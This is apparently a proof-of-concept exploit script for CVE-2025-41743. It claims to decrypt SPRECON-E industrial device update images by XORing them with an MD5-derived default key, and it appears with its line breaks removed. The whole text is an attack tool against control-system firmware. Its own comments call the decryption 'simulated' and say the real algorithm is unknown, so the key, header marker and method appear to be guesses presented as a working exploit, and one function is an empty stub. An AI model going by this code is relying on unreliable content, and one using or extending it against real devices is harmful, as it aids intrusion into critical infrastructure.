CVE-2025-41743

# CVE-2025-41743 PoC - SPRECON-E Update Image Decryption # This PoC demonstrates the weak encryption vulnerability in SPRECON-E devices import hashlib import struct import os class SPRECONEDecryptor: def __init__(self, image_path): self.image_path = image_path self.header_size = 64 self.encryption_indicator = b'SPRECON_E_UPDATE' def extract_image_header(self): """Extract header information from update image""" with open(self.image_path, 'rb') as f: header = f.read(self.header_size) return header def identify_encryption_weakness(self, header): """Identify weak encryption indicators in the header""" if self.encryption_indicator in header: return True return False def decrypt_update_image(self, output_path): """ Decrypt update image using weak encryption Note: Actual decryption requires specific algorithm knowledge """ with open(self.image_path, 'rb') as f: encrypted_data = f.read() # Simulated decryption process # In real scenario, weak encryption allows extraction using: # 1. Default keys embedded in firmware # 2. Known weak algorithms (e.g., XOR, simple block ciphers) # 3. Insufficient key derivation functions decrypted_data = bytearray() key = self._derive_weak_key() for i, byte in enumerate(encrypted_data[self.header_size:]): decrypted_data.append(byte ^ key[i % len(key)]) with open(output_path, 'wb') as f: f.write(bytes(decrypted_data)) return True def _derive_weak_key(self): """Derive key from known weak sources""" # Weak key derivation from device identifier device_id = b'SPRECON_E_DEFAULT_ID' return hashlib.md5(device_id).digest() def extract_architecture_info(self, decrypted_data): """Extract architecture and process information""" info = { 'architecture': [], 'processes': [], 'internal_paths': [] } # Parse decrypted data for architecture indicators # This is a simplified representation return info def main(): print("CVE-2025-41743 - SPRECON-E Weak Encryption PoC") print("=" * 50) # Usage example image_path = "sprecon_update_image.bin" output_path = "decrypted_firmware.bin" if os.path.exists(image_path): decryptor = SPRECONEDecryptor(image_path) header = decryptor.extract_image_header() if decryptor.identify_encryption_weakness(header): print("[+] Weak encryption detected") decryptor.decrypt_update_image(output_path) print(f"[+] Firmware decrypted to: {output_path}") else: print("[-] No weak encryption detected") else: print(f"[-] Image file not found: {image_path}") if __name__ == "__main__": main()

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